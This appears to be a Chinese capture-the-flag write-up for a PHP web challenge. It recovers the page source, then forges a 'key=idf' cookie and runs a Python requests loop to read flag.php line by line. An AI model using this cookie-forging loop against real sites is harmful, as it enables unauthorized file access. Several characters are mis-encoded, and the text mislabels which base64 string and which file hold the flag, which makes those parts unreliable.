原題鏈接:http://ctf.idf.cn/game/web/40/index.php
- 進(jìn)入題目,發(fā)現(xiàn)一個長字符串,放到md5、base64均無意義。
- 觀察地址欄,發(fā)現(xiàn)有兩個參數(shù),line和file

Paste_Image.png
(1)將file=后的參數(shù)放到base64解碼(url參數(shù)傳遞一般用base64編碼),可知該串原意為:flag.txt
(2)既然知道后面是接文件名,假設(shè)flag.txt在當(dāng)前目錄,那么猜想有其他的文件也在通過用base64加密的方式輸入到url中訪問,對index.html和index.php分別進(jìn)行測試,line從0向上遍歷
3.嘗試后可知,當(dāng)file=aW5kZXgucGhw(index.php的base64編碼)時,line的取值可獲取index.php源代碼的第line行

Paste_Image.png
4.遍歷整個文件可得:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
$file_list = array(
'0' =>'flag.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
(1)分析代碼,做出以下注釋
error_reporting(0);
//不打印頁面訪問錯誤報告
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
//解碼地址欄中file=后的內(nèi)容
$line=isset($_GET['line'])?intval($_GET['line']):0;
//獲取地址欄中l(wèi)ine=后的內(nèi)容
if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
//若地址為空,則跳轉(zhuǎn)到原界面(flag.txt) 無論line的值
$file_list = array('0' =>'flag.txt','1' =>'index.php',);
//創(chuàng)建file_list數(shù)組
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='flag.php';
}
//若id為key的cookie有定義,并且值為idf 則在file_list第三個位置插入flag.php
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
//若file_list數(shù)組內(nèi)存在file文件名,則打印該文件的第line行代碼
?>
(2)閱讀代碼可知,cookie的名為key,值為idf, 將file參數(shù)置為ZmxhZy50eHQ(flag.php的base64碼)可以通過cookie欺騙的方式訪問flag.php文件
5.下面用python進(jìn)行cookie欺騙及遍歷源代碼
import requests #該庫需要安裝 安裝過程自行百度
import sys
cookies = {'key': 'idf'} #設(shè)置cookies的key值為idf 即cookies欺騙
for i in range(0,20): #循環(huán)打開網(wǎng)頁并抓取網(wǎng)頁文本信息
url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
wp = requests.get(url, cookies=cookies)
print(wp.text)
print("get flag success")
6.最終得到flag.txt 內(nèi)容為:
<?php $flag='wctf{idf_c00kie}'; ?>
flag即為wctf{idf_c00kie}